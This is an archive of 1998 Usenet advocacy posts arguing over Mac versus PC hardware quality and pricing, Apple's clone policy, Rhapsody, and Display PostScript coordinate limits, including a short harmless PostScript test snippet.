bet we could resurrect that Old Spirit in the new technological
proletariat, nyet? Web surfers of the world, unite! Throw off the
shackles of brightly-colored packaging and misleading benchmarks! Don't
believe the hype! Hey hey, we're the Monkees! Can you hear their voices,
Whittaker Chambers?
Oof, bad trip.
> >You're missing the point: Apple doesn't put such things in its machines,
> >Salvatore! It charges a premium without delivering the quality I'm
> >describing. I'm telling you how to build a *better* PC than most Macs.
> >By the way, throw in $20 for the premium on a good SCSI solution.
>
> Eh, you can get that. 8600, PowerCenter Pro are both examples of some
> great machines.
Ah, the good old cloning era. I remember one UMAX S900 deal that made me
swoon with delight. Halcyon days of my...heck, that wasn't so long ago.
> All I gotta say: the primary advantage of buying and using a Mac is that
> it is very tractable for an individual and conducive to high levels of
> productivity across the board. Convert those old 68k Macs you have lying
> around to UNIX boxes, and you're all set, IMHO. (Rhapsody, done right,
> will be even better.)
On a 68K Mac. Hello? There was some static on the line, come on? Please
repeat, over and out.
> >Heh, heh. He's ahead of me. I have USB on my 18-month-old VX
> >motherboard.
>
> <Yawn> straw-man fallacy. Talk either market currents and their impact on
> the end-user or talk machine specifics, not both. Should I talk about how
> my HP-48 calculator I bought 4 years ago has infrared, serial, supports
> assembly-language programming and sound output?
That was one badass calculator. I remember the day three classmates were
playing battleship in class while I dolefully stared at my underendowed
little TI-85. I've rarely been so envious.
> No, doesn't matter what
> my HP-48 has, what the model's done (if anything) to the calculator market
> is another. And replacing old technologies with new rather than tacking
> on new is almost a seperate issue.
You've lost me. I can't follow where you're going.
> Should I start talking about x86 instruction set architecture? x86 Memory
> addressing modes? limited register space? the bugs in the memory bus? How
> about the ancestry of the G3 from the 603ev? The way Be spun the truth
> and said they didn't need a large L1 cache and a 603 was fine because
> there was no emulation when in reality a large L1 cache would have hurt
> performance because the 603/G3 series has nearly non-existant cache
> coherency circuitry for SMP implimenatations? Not worth discussing.
So...your point is what? I'm not going to guess, you've got to start
connecting, here. Try using your IrDA interface, skip the calculator.
That darn thing is 4 years old, for God's sake!
> [snip]
> >It depends on your alternatives. I just don't think you realize what the
> >alternatives are.
>
> Too many alternatives, too many variables.
Ooooh, that's rough. I'm sure there's somebody out there who can sort it
all out for you. Probably for a fee, but that's what integration is all
about, I guess.
> Practical limits have been
> exceeded. Makes a nice power-trip for hardware techies though, but when
> were they ever concerned with positively contributing to the course of
> human development in the long term?
Wahl, gee golly, you talk so pretty!
> Better to make money in your own
> lifetime and grease the existing wheels than design new ones, right? Much
> easier, lower risk. Why risk, why plan, why strive?
Sorry, lost you again, Mission Control. I thought we had already
established that technological progress was Bad, over?
MJP
From: Henry McGilton <henry@trilithon.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: Tue, 02 Jun 1998 11:59:58 -0700
Organization: Trilithon Research and Trading
Message-ID: <35744BAE.8D0074FB@trilithon.com>
References: <6km6s9$5sd$1@ns3.vrx.net> <B1952EF8-100D4@206.165.43.134> <6kpbgu$kuo$2@ns3.vrx.net> <rex-3105982335250001@192.168.0.3> <6ktunk$a6t$4@ns3.vrx.net> <rex-0106981554560001@192.168.0.3> <6l0cl4$763$1@news.cs.tu-berlin.de> <rex-0206980857260001@192.168.0.3> <6l0dki$8th$1@ns3.vrx.net> <rex-0206981046500001@192.168.0.3>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Eric King wrote:
* No you don't, and an OpenStep developer familiar with
* DPS' internals just said you didn't a few days ago.
* You think in float but have to remember you're really
* working in fixed. Try creating a font glyph that's
* 100000 x 100000 in DPS.
Just wrote this:
%!PS
/Optima-Bold findfont 100000 scalefont setfont
-10000 0 moveto (H) show
showpage
Works fine --- what's your complaint about now?
........ Henry
=============================================================
Henry McGilton | Trilithon Software, and,
Boulevardier, Java Composer | Pacific Research and Trading
-----------------------------+-------------------------------
mailto:henry@trilithon.com | http://web.trilithon.com
=============================================================
From: sal@panix2.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: 2 Jun 1998 19:36:37 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6n8l25.npd.sal@panix2.panix.com>
References: <6jsait$q4o@newsb.netnews.att.com> <3561D1F9.5E62@CONVEX.COM> <6jslbi$i4k1@odie.mcleod.net> <356263EB.E37C0897@nstar.net> <356a268e.0@news.camtech.net.au> <6kkeug$j55$1@news10.ispnews.com> <356e6a40.0@news.camtech.net.au> <6kn7t6$npv$7@newsfep4.sprintmail.com> <rmcassid-2905981526310001@dante.eng.uci.edu> <slrn6n17mu.lsb.sal@panix3.panix.com> <3570A750.56BE9808@nstar.net> <slrn6n5jm1.2kj.sal@panix3.panix.com> <3572E0C5.BDEEDD46@nstar.net> <slrn6n65fj.sqf.sal@panix3.panix.com> <3573201E.BCA15AB1@nstar.net> <slrn6n6csr.a9v.sal@panix3.panix.com> <35739395.42CCE64B@nstar.net>
On Tue, 02 Jun 1998 05:54:29 +0000, Michael J. Peck <mjpeck@nstar.net> wrote:
>Salvatore Denaro wrote:
>> By how much? When you compare major name brand PCs to Macs in price, the
>> prices are not that far off. 5% to 10%.
>> Do I think Apple should lower prices? Yes. Do I think they should lower
>> quality? Hell no!
>You're missing the point. I'm talking about an overall quality
>*improvement*.
Huh? Has Apple quality been going down? I have not seen that. If anything,
Apple is building much nicer hardware no that they have someone with a
clue running the show.
>> I has a DeLL machine that I swapped up from p-133 to AMD-k6 without any
>> problems. I also added an internal Zip drive and added a PCI video card
>Hmm, I could be wrong, but probably because it's easier to spend $27 for
>a 250W power supply upgrade than it is to cut new holes in the case.
$20 here and $20 there. Plus all the *TIME* you spend dealing with upgreads
and "minor incompatibilites" TANSTAAFL. You can pay now or you can pay
latter.
>Wait, where's everybody going? What do you want with those shitty PCs?
>Come back, DON'T YOU KNOW ANYTHING ABOUT QUALITY?
Apple had *NO* consumer machines. Apple had *NO* consumer presence. Apple
had NO marketing. It had nothing to do with people wanting shitty PCs,
there was *NO* choice. There have always been $1k machine, no one cared
until Compaq and the "big-boys" started to build them.
>> Sure. And this will cut a bunch of low quality machines out of the
>> running.
>Ever go grocery shopping?
Yes. I don't clip coupons. I don't hunt down a $.05 bargin. It isn't
worth my time. I'll buy dry pasta over the fresh pasta in the dairy
section, it's cheaper and it lasts longer. But I won't go out of my way
to save money.
>> >> 3) The on board "soundblaster combatible" sound works
>> >Simple; buy a machine with a brand-name card. It's not hard to know the
>> For a few dollars more.
>I bought an ESS 1869 plug-n-play sound card from an aftermarket dealer
>for fifteen dollars. I paid for it with change out of my pocket,
For every bargin like that, there must be dozens of horror stories. We
had problems with ne2000 cards. I'm sure you've seen plenty of sound card
problems cased by less than compatible cards.
Sometime it is worth the extra money to not gamble. And to get something
that just works.
>> Long story. We had a network package that runs from DOS that required
>> an ne2k card. Some are more ne2k than others.
>Too bad. I know this story. And yes, you're right; the NE2000
>compatibility issue is a miserable ordeal to endure.
You can see why it would be better to pay a few bucks extra and buy
something that "just works"?
At least with Apple you know who to blame. Often in the PC world you get
a mess of finger pointing. MS blames Compaq with blames Intel who blames
the company that wrote the network tool who blames MS.
>> Isn't it worth the extra QA to know that this isn't going to happen?
>QA is a separate issue from quality of hardware. I can build a machine
>with maximum due diligence from complete junk, and maximize your return
---------------^^^^^^^^^^^
>on investment, as my customer. I could also build a machine from
QA. It takes time and cost money. Are you goign to build 10k machiens
for a fortune 500 company yourself? Of course not. You'll have to hire
people and train them and pay them. That costs money. And as part change
you'll have to retrain them.
>> >1) Don't buy a "sound card". Buy a "Diamond Multimedia M80" or buy a
>> >"Sound Blaster AWE 64 Gold" or buy a "Guillemot MaxiSound Home Theater
>> Ca-ching!
>So you say. Diamond M80 for $80, less for a wholesaler. Support for both
>major 3D sound APIs, PCI interface, robust onboard memory, voice,
That is a lot more than the $15 card you listed before. Is it better? (And
if it is better, can't you see my point that Building better machines is
more expensive than building low end junk?)
>synthesizer, and mixing support. Average 3% CPU utilization during full
>operation. That's called *value*, and that's *not* what Apple delivers.
Why not do that in software? If is much easier to add a new codec or a
new filter than to replace hardware.
>> >2) Don't buy a "100 Mbps ethernet card", buy an "Intel EtherExpress Pro
>> >10/100+" or buy a "3Com 3C905 Vortex", buy whatever, but *don't* buy an
>DataComm Warehouse, $50. Again, for a wholesaler, maybe $35 in lots of
>100.
That is more than the $20 price for a no-name ne2k clone. Can't you see my
point yet? Building better hardware costs more money.
>> >I know you're going to say "name brand costs more", but you're thinking
>> >of hundreds of dollars while I'm talking about literally five and ten
>> >dollars here and there. Believe it or not, you can buy cheap pieces of
>> ----^^^^^^^^^^^^^^^^^
>> It addes up.
>>
>> Sound card: $ 20
>> net work card: $ 20
>> Video: $ 20
>> better monitor : $50
>> Bigger PS: $ 20
>> That ends up adding 5% or 10% to the price.
>You're missing the point: Apple doesn't put such things in its machines,
>Salvatore! It charges a premium without delivering the quality I'm
>describing. I'm telling you how to build a *better* PC than most Macs.
What about the 99.99% of people who have no desire to build thier own
machine?
>> >Not to mention the fact that using commodity PC components would save
>> >money, instead of building its own ATI-based solutions. Why does Apple
>> They are moving to AGP. Replacing ADB and Mac rs422 with USB. I think
>> Steve is way ahead of you in this area.
>Heh, heh. He's ahead of me. I have USB on my 18-month-old VX
>motherboard.
VX? I have one of those. It will only cache 64mb of RAM, despite the fact
that it claims to support 384mb of RAM. It is limited to 32mb SDRAMs. And
it's USB support is broken. (BTW, feel free to look up my post to the
PC hardware newsgroup. I asked for help getting 64mb SDRAMs working on
my VX based machine.)
My old SE/30 could support more than 64mb or RAM, why can't my newer PC?
>> >Most of these mean nothing to me, because I build my own. If I have a
>> What about the 99.99% of users that don't?
>Buy from a company with good QA. Hint: it's not Apple Computer.
And I think Apple's QA is better than the majority of the PC industry.
Much better than those no-name cloners. This is highly subjective.
I find it odd that you claim that Apple has poor QA, just a few posts
after calling g3 machines "sweet" and agreeing that Rhapsody will make
Apple hardware more desirable.
>> >buy either). Again, I don't pay any significant premium for the quality
>> Define "significant" 10%? 1%?
>You don't understand. I build my own; I pay *less* than a crappy Packard
>Bell costs, but I get a Black Velveteen \ Oh what a bad machine... (with
And the 99.99% that can't? Should they call you?
>manuf. warranty). The Apple Store-Within-a-Store at CompUSA sells them
>for something like $75.
I'm sure Apple users have march to CompUSA (at gunpoint) to buy a Joystick.
It isn't like they can also shop around. This is off topic.
>there is so much of it. It's known as "economies of scale" and it's
>something Apple has never understood. "Off the shelf hardware" is no
>longer a derisive term. The premiums companies like Apple charge for
>their small-run, high R&D stuff are unacceptable and ridiculous in this
I hate to but your bubble, but Apple (under Jobs) has made a major
push to use standard PC hardware. They are going support USB and AGP
and anything else that is worth it. Apple is no longer being different
for the hell of it. This is exactly what you have been asking for.
>It seems like people who opposed cloning never understood the realities
>of the commodity market, presumably because they never left the premises
>of the closed Apple market. It's understandable, but still plainly
huh? Haven't you noticed that Apple is taking advantage of the commodity
market? IDE disks and CDs. USB. PCI slots. SDRAM. This is all PC standard
stuff.
>> Or a "high quality" keyboard for under $20?
>I'm typing on a trouble-free $15 keyboard as we speak. I spent $210 on
>an Apple Extended ADB Keyboard, once, back in the days when I was a
Odd. I had a clone ADB keyboard once. And a logitech 3 button ADB mouse.
Both were within 10% of the PC price.
>> I think you *HAVE* to pay more for better quality.
>It depends on your alternatives. I just don't think you realize what the
>alternatives are.
Yes I do. You can spend time rather than money. That is what you do when
you build your own machine from parts you shop around for. I prefer not
to spend time doing that. (That might be why I got stuck with a VX MB)
>That's because you've leveraged the argument in exactly the same way
>Apple fans have always done: isolate to a single variable (level of
>quality).
This is called "keeping the discussion on topic"
>This totally ignores the larger complexities involved,
>including the economies-of-scale argument. It is factually provable that
>higher-quality PC hardware is available for lower prices than for those
>of "high-quality" Apple solutions.
Are you not aware that Apple *IS* using PC hardware?
>Not to mention the fact that when you buy from Apple, you're stuck to
>their definition of "high quality", and you have to buy it.
Build to order? VARs?
>> If two products
>> are the same price, but one is of a higher quality then demand will shift
>> and prices along with it.
>Again, an oversimplified linear system of little practical value, and
>zero application to the problem facing Apple.
No, it show why Apple has not had to lower the G3 prices (any why Apple's
margins have increased). They have a product that is in high demand. A lot
of people find that the g3 is a good value. When demand drops, the price
will drop with it. Simple supply and demand economics.
>> QA costs money. Quality assembly costs money.
>Then again, spending money doesn't assure good QA. Say cheese, Apple!
Good point, but off topic. My point is that it costs more to build a better
product.
>> Not going to happen. (And I don't see the point, since Apple isn't
>> going to open up "zero-royalty-cloning" after killing cloning once
>> before. That would be nuts.)
>So Apple will insist on making its money on a hardware platform to which
>it adds little or no value, a platform on which it has already been
>shamefully outperformed by the previous cloners. Have you ever heard of
Unlike Apple under Sculley and Gassee, Apple is making the Mac Job #1.
They are putting all their efforts into the Mac. And they are updating
every aspect of the platform, hardware and software. I think Steve knows
were his mistakes were
>> CR1 will ship for Intel. I doubt that Carbon will ship for Intel, so
>> no MacOSX. As for other plans...
>MacOSRumors provides faintly-glimmering hope for an Intel MacOS X.
------^^^^^^
(Key word hilighted)
>> Carbon? There will be a lot of stuff from the MacOS and NeXT worlds
>> shipping for Rhapsody/MacOSX
>Written for Carbon, then. Which makes the whole NeXT acquisition rather
>pointless. Let's move this discussion back to comp.sys.mac.advocacy,
Carbon runs on Rhapsody, not MacOS7/8. It fixes the major problems in MacOS,
proof that Apple finds value in the Mac and want to improve it.
>> > a *free* developer program, and
>> gcc? CodeWarrior Lite for YB?
>Uhhh, no.
What do you want for free, (You rotten ingrate!!! :)
>Wrong. I'm not interested. Sorry, see ya later, Apple.
Well, if you want to throw the baby out with the bath water, go ahead. I
don't see any issues with using a 3rd party X server.
>> It has *very* good online docs in PDF format. And on the web site.
>Heh, PDF. Whoohoo. I just love playing with my wristwatch while I wait
You'll have HTML and PDF. PDF renders *fast* under DPS. Much faster than
under other OSs. YMMV. I also like the fact that it prints well. I like
to read on the subway...
>automatic documentation generator. Or just pick up a copy of Qt and look
>at the HTML docs. That's what I'm talking about. I mean, I honestly
-------^^^^^^
The online help system is HTML based.
>> >No, no, no! There is never "enough choice". Choice is, by definition, a
>> >multiplicity.
>> Law of diminishing returns? At what point does having twice as many choices
>> become less than twice as good?
>At the end of the curve toward a new technology breakthrough, at which
>point a new breed of choices will emerge.
Subjective.
>Unless you live in the Apple world, wherein you get DVD *when Apple's
>ready for it*, and then only in the form of the amazingly overpriced
And you'll get > 64mb motherboards *when intel is ready* and you'll get
firewire *when intel is ready* and you'll get merced...
>Let me put it this way: diminishing returns is a very real phenomenon,
Thank you. That was my point.
>> I don't see how it is to Apple's benefit to open it. I think Apple should
>> have worked on OEMing to lower prices. Cloning did little (or nothing) to
>> increase Apple's market share. In fact, market share shrank while QA costs
>> went up.
>It has nothing to do with cloning and everything to do with Apple.
I don't follow. Are you saying that cloning was bad for Apple?
--
sal@panix.com Salvatore Denaro
From: rex@smallandmighty.com (Eric King)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: Tue, 02 Jun 1998 15:43:00 -0400
Organization: The Small & Mighty Group
Message-ID: <rex-0206981543010001@192.168.0.3>
References: <6km6s9$5sd$1@ns3.vrx.net> <B1952EF8-100D4@206.165.43.134> <6kpbgu$kuo$2@ns3.vrx.net> <rex-3105982335250001@192.168.0.3> <6ktunk$a6t$4@ns3.vrx.net> <rex-0106981554560001@192.168.0.3> <6l0cl4$763$1@news.cs.tu-berlin.de> <rex-0206980857260001@192.168.0.3> <6l141h$ig9$1@news.cs.tu-berlin.de>
In article <6l141h$ig9$1@news.cs.tu-berlin.de>, marcel@cs.tu-berlin.de
(Marcel Weiher) wrote:
:rex@smallandmighty.com (Eric King) writes:
:
:> Recently another OpenStep developer (Erik Buck?) said that Postscript
:>was fixed-point internally and that even though the API used
:>floating-point, you still had to abide by the coordinate space limitations
:>of fixed-point.
:
:Either Erik wasn't being clear or you misunderstood.
The poster was perfectly clear, and I'm not sure if it was Erik.
The only limit
:in DPS is that windows cannot be larger than 16K x 16K *pixels*.
Actually according to the DPS docs, they can't have coordinates with an
absolute value greater than 16000 because they are automatically converted
to integer coordinates and a window's width and height are limited to
10000.
:Considering typical screen sizes and the fact that that is 256MPixels,
:it seems quite a reasonable limit for a computer display system.
Whoever it was, cited limitations with how fonts were constructed, and
a few other little hidden away places. But the fact of the matter is, the
limitations are in there. Postscript as a *language* might not readily
expose them, but the implementations certainly do, and you can't
completely ignore the implementations.
:For example, there are no limits to the size View you can have.
Sure there are.
:Only if you're careful. If you're not, your coordinates might
:overflow or get squashed to zero at the *modelling* level.
And similarly you would lose sub-pixel precision if you have a really
large coordinates. Remember DPS uses floats in its functions, not doubles.
There are problems with both models. Though oddly enough the DPS server
can handle paths sent in fixed-point coordinates as well...
:No you're not.
Adobe would disagree, since their implementation do use fixed-point.
:Hogwash. Postscript doesn't assume anything.
The original poster, said that yes, it does indeed assume certain
things. Go ahead draw some really large things in Postscript, see if
they'll print.
-Eric
From: rex@smallandmighty.com (Eric King)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Howabout Something Better than what we have now?
Date: Tue, 02 Jun 1998 16:04:25 -0400
Organization: The Small & Mighty Group
Message-ID: <rex-0206981604260001@192.168.0.3>
References: <6km6s9$5sd$1@ns3.vrx.net> <B1952EF8-100D4@206.165.43.134> <6kpbgu$kuo$2@ns3.vrx.net> <rex-3105982335250001@192.168.0.3> <6ktunk$a6t$4@ns3.vrx.net> <rex-0106981554560001@192.168.0.3> <6l0cl4$763$1@news.cs.tu-berlin.de> <rex-0206980857260001@192.168.0.3> <6l0dki$8th$1@ns3.vrx.net> <rex-0206981046500001@192.168.0.3> <6l17bt$joh$1@news.cs.tu-berlin.de> <rex-0206981427300001@192.168.0.3> <6l1gk2$nrp$1@news.cs.tu-berlin.de>
In article <6l1gk2$nrp$1@news.cs.tu-berlin.de>, marcel@cs.tu-berlin.de
(Marcel Weiher) wrote:
:rex@smallandmighty.com (Eric King) writes:
:> Actually, with GX you *always* know the complete path. Remember we're
:>not dealing with immediate mode here.
:
:GX knows the complete path *before* you insert the points that make up
:the path?
Yes, it does, why don't you try looking at the API calls. You have to
create a geometry structure before you can create a path shape. And wow
the geometry structure actually contains the entire path info before the
path shape does. All you have to do is clip the points in the geometry
structure in a hypothetical GXNewFPPath() or GXNewFPLine() or
GXNewFPCurve() call. It's still not a lot of work. But in the end I just
don't think many developers would be bothered by a 32k x 32k 2D coordinate
space constraint.
:Okay, point me to some fixed-point implementations. :-)
My old NEC laser printer. No way that thing has a CPU with an FPU.
:You're still missing the point: how exactly the implementation is
:done is completely immaterial. It has to act like it is floating
:point throughout.
That's fine, but currently Postscript doesn't do this. However, I will
admit that for the vast majority of things, it does act like it's
floating-point throughout. If you want something that *is* flaoting-point
throughout, use Taligent's classes.
-Eric
From: ben@ben.tapehouse.net (Ben Rosengart)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 2 Jun 1998 20:05:44 GMT
Organization: echonyc.com
Message-ID: <slrn6n8mv0.j3a.ben@ben.tapehouse.net>
References: <1d9w7hy.g52x5itps8sgN@cetus164.wco.com> <B1976019-6328E@206.165.43.9> <35723AB3.DA8ED887@nstar.net>
Cache-Post-Path: echo2.echonyc.com!ben@ben.tapehouse.net
In article <35723AB3.DA8ED887@nstar.net>, Michael J. Peck wrote:
>I just hope Apple listening to the remarks on remotability, for
>instance. There is a lot that Apple can do to make people happy.
This is one of those killer issues that a lot of unix geeks are waiting to
find out about.
--
Ben
"You have your mind on computers, it seems."
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 2 Jun 1998 13:01:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B199A802-1F1CF@206.165.43.1>
References: <6l0kbb$cmd$2@ns3.vrx.net>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Maury Markowitz <maury@remove_this.istar.ca> said:
>> It is, because it is extra hassle and completely unnecessary at that.
>
> Precisely why I started this sub-thread. PS will look more like QD3D
>(maybe, I don't know, it could have some artifical limits too) and OpenGL
>because the basic geometric fundamentals are more similar.
Barely. OpenGl and QD3D use NURBS. GX uses quadratic beziers, a subset of
NURBS. DPS/PDF use cubic beziers, another subset of NURBS. TrueType and
TrueType GX use quadratic beziers. PS fonts use cubic beziers.
For me, the solution is obvious: use 2D NURBS.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: MACGHOD <Macghod@concentric.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Where is all the mac software????
Date: 02 Jun 1998 16:13:27 EDT
Organization: Concentric Internet Services
Message-ID: <Pine.SUN.3.96.980602160659.18758B-100000@voyager.cris.com>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Yes, we all know Joe's response, show us the companies leaving the mac.
How about this Joe,
3 years ago a WHOOPING %70 of all developers wrote software for the mac,
now, ONLY %20 do.
That certainly sounds like developers leaving the mac to me.
From a link from www.macnn.com:
A vibrant, continually renewing roster of software titles is especially
important in the home market. Its growth has been driven by exciting new
computer games.
Alas, most game developers are not writing for the Mac - sadly, for good
reason. It's very difficult to sell Mac titles.
Take id Software, developer of the popular shoot-'em-up game ``Quake.'' It
did a Mac version of the original game but sold only 50,000 copies. Not
surprisingly, it didn't bother with a Mac version of ``Quake II.''
``Every month I take a look at the number of Mac titles sold, and it is
not good,'' says Luc Barthelet, general manager of game maker Maxis.
``Sales are still declining month to month.''
Not surprisingly, Barthelet has not decided yet whether Maxis will release
a Mac version of its upgrade to ``SimCity,'' scheduled for release next
fall.
Maxis is not alone. Scores of developers never even bother with a Mac
version of their games. And many of those who do wait a year or more
before releasing Mac versions.
That means Mac users rarely can play the hottest games on the market.
They're second-class citizens in this arena.
From: xray@cs.brandeis.edu (Nathan G. Raymond)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: 2 Jun 1998 17:29:38 GMT
Organization: Brandeis University - Computer Science Dept.
Message-ID: <6l1cq2$k6r$1@new-news.cc.brandeis.edu>
References: <slrn6n65fj.sqf.sal@panix3.panix.com> <3573201E.BCA15AB1 <35739395.42CCE64B@nstar.net>
In article <35739395.42CCE64B@nstar.net> "Michael J. Peck" <mjpeck@nstar.net> writes:
[snip]
>Hmm, I could be wrong, but probably because it's easier to spend $27 for
>a 250W power supply upgrade than it is to cut new holes in the case.
>Just my opinion on the matter. I know it's always been Apple's opinion
>that you can make more money by selling an expensive and unnecessary
>power supply with an underendowed case, because it just means you can
>get people to buy a brand-new machine that much sooner, and make better
>margins on the original product.
>
>Wait, where's everybody going? What do you want with those shitty PCs?
>Come back, DON'T YOU KNOW ANYTHING ABOUT QUALITY?
>
>Aw, fuck 'em, we don't need 'em anyway. We're Apple! We bad!
1) Apple cannot be reasonably quanitified or characterized, too complex.
2) x86 architectures most defintely cannot be quanitified or
characterized, too complex.
(I'm talking both material and temporal domains, here.)
Take Apple's latest minitower design - in the 8600, it has a 300W power
supply. In the G3 minitower, it has a 150W power supply. Virtually
identical case.
Apple is a moving target, and the entire PC industry is an even bigger,
faster moving target. Very low yield can be gained from carrying on any
qualitative discussions in these veins.
[snip]
>So you say. Diamond M80 for $80, less for a wholesaler. Support for both
>major 3D sound APIs, PCI interface, robust onboard memory, voice,
>synthesizer, and mixing support. Average 3% CPU utilization during full
>operation. That's called *value*, and that's *not* what Apple delivers.
Diamond M80 today, what tommorrow?
Most PC hardware and software in the market is optimized for "churn" - get
the consumer to buy it, then a year or two down the road dump it for
something "newer, better". And from a business perspective, why not?
Doesn't do your business any good to make something that lasts in the
computer industry since that will cut down on sales. Give the consumer
the impression that what they're spending their money on is going to make
their life better, and that's all that matters.
Only because Apple was reduced to a much smaller market player did they
impliment such backward compatability to their machines, operating system
releases, and developer program. Instead of sink or swim, Apple's been
floating. Great for me the consumer like me, who can literally pull a
Quadra 610 out of a garbage barrel and turn it into a NetBSD box doing
IP-NAT over a cable modem, or pick up a IIci for $30 and turn it into a
NetBSD X station and dial-in, dial-out server on my home network. The
SE/30 will take 128MB of memory and SCSI hard drives as big as you like -
I picked up some for $25, they make great little UNIX workstations. Tons
of schools and consumers out there have Macs from the early '90s that do
what they need, still. Heck, there are people still using Apple IIs
because they fulfill their needs. Many businesses would be better off
taking their existing old Macs which they throw in the trash and instead
running NetBSD, OpenBSD, or Linux68k on them instead of shelling out tons
of money for new NT boxes.
Mainstream technology has a tendency to be overrated and gimmicky, while
recently forming mediums sublimate the western world with a placebo of
society and communication. But the economics of technology makes it
advantageous to smokescreen, obfuscate, and confuse the consumer into
feeling the emotional need to constantly buy into it. Much easier to
control the masses if they are passive, no?
[snip]
>You're missing the point: Apple doesn't put such things in its machines,
>Salvatore! It charges a premium without delivering the quality I'm
>describing. I'm telling you how to build a *better* PC than most Macs.
>By the way, throw in $20 for the premium on a good SCSI solution.
Eh, you can get that. 8600, PowerCenter Pro are both examples of some
great machines.
All I gotta say: the primary advantage of buying and using a Mac is that
it is very tractable for an individual and conducive to high levels of
productivity across the board. Convert those old 68k Macs you have lying
around to UNIX boxes, and you're all set, IMHO. (Rhapsody, done right,
will be even better.)
[snip]
>> They are moving to AGP. Replacing ADB and Mac rs422 with USB. I think
>> Steve is way ahead of you in this area.
>
>Heh, heh. He's ahead of me. I have USB on my 18-month-old VX
>motherboard.
<Yawn> straw-man fallacy. Talk either market currents and their impact on
the end-user or talk machine specifics, not both. Should I talk about how
my HP-48 calculator I bought 4 years ago has infrared, serial, supports
assembly-language programming and sound output? No, doesn't matter what
my HP-48 has, what the model's done (if anything) to the calculator market
is another. And replacing old technologies with new rather than tacking
on new is almost a seperate issue.
Should I start talking about x86 instruction set architecture? x86 Memory
addressing modes? limited register space? the bugs in the memory bus? How
about the ancestry of the G3 from the 603ev? The way Be spun the truth
and said they didn't need a large L1 cache and a 603 was fine because
there was no emulation when in reality a large L1 cache would have hurt
performance because the 603/G3 series has nearly non-existant cache
coherency circuitry for SMP implimenatations? Not worth discussing.
[snip]
>It depends on your alternatives. I just don't think you realize what the
>alternatives are.
Too many alternatives, too many variables. Practical limits have been
exceeded. Makes a nice power-trip for hardware techies though, but when
were they ever concerned with positively contributing to the course of
human development in the long term? Better to make money in your own
lifetime and grease the existing wheels than design new ones, right? Much
easier, lower risk. Why risk, why plan, why strive?
[snip]
I've added enought noise to this newsgroup by contributing to this
thread... sorry for the length.
--
Nathan Raymond
http://www.everythingmac.com
Date: Tue, 02 Jun 1998 16:47:22 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Where is all the mac software????
Message-ID: <joe.ragosta-0206981647230001@wil43.dol.net>
References: <Pine.SUN.3.96.980602160659.18758B-100000@voyager.cris.com>
In article <Pine.SUN.3.96.980602160659.18758B-100000@voyager.cris.com>,
MACGHOD <Macghod@concentric.net> wrote:
> Yes, we all know Joe's response, show us the companies leaving the mac.
> How about this Joe,
> 3 years ago a WHOOPING %70 of all developers wrote software for the mac,
> now, ONLY %20 do.
Oh, good. Some figures.
Care to document them? Or is this the usual made up set of numbers that
gets spewed all over this group?
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: Tue, 02 Jun 1998 13:58:19 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-0206981358190001@dante.eng.uci.edu>
References: <slrn6n65fj.sqf.sal@panix3.panix.com> <35739395.42CCE64B@nstar.net> <6l1cq2$k6r$1@new-news.cc.brandeis.edu> <35744B61.1DDA4091@nstar.net>
In article <35744B61.1DDA4091@nstar.net>, "Michael J. Peck"
<mjpeck@nstar.net> wrote:
>Nathan G. Raymond wrote:
>
>What does your Macintosh have?
Don't know nor care. Either at work or home I know I have sound support
that is 'good enough' for just beeping at me or for playing games, yet not
so good that it'll not work when I want it to. It's standard. It's always
there. I don't have to think about it.
>My father remembers when it was possible for any man to work on his own
>car, and gosh darn it, it's a damned shame that companies are pulling
>the wool over our eyes nowadays and shipping these ludicrous Northstar
>engines that need service only every 100,000 miles. Wouldn't it be
>wonderful if everyone realized how technology is ruining their lives?
But that's what I don't get. I have a Northstar equivalent - the Mac. In
your father's time you could dive in and install a two-barrel carburator
on your car yourself. You can't do that with the Northstar. A tradeoff was
made between utility and options. Northstar represents utility, 67 Chevy
represented options.
Swapping out a sound card on a Mac is not a thing you do, and as a result
not a thing that breaks. You lose a bit of flexibility, but so what? It's
not flexible in a range that matters to me or anyone else that I know of.
There are only so many options that are worthy of my time. I don't want 34
sound cards to choose from. A few will do. The standard one which does 98%
of what anybody wants (what I have now) or a choice of high-end cards for
professionals. As such, sound cards don't fall in my field of vision. If
the machine down the hall is unhappy, 'What about the sound card?' never
enters my head.
>Yes, exactly. The Dead Man's Float, complacent on the gentle waves of
>its tiny backyard pool. Why swim in the ocean when you can live in
>opulence on the money of fanatical followers?
And yet I almost *never* have to touch the hardware in my office. I almost
never have compatability issues or driver issues or any of those things.
It costs me money in exchange for time and aggravation. The same goes for
my home machine where I don't have to worry if it goes bonkers on my wife
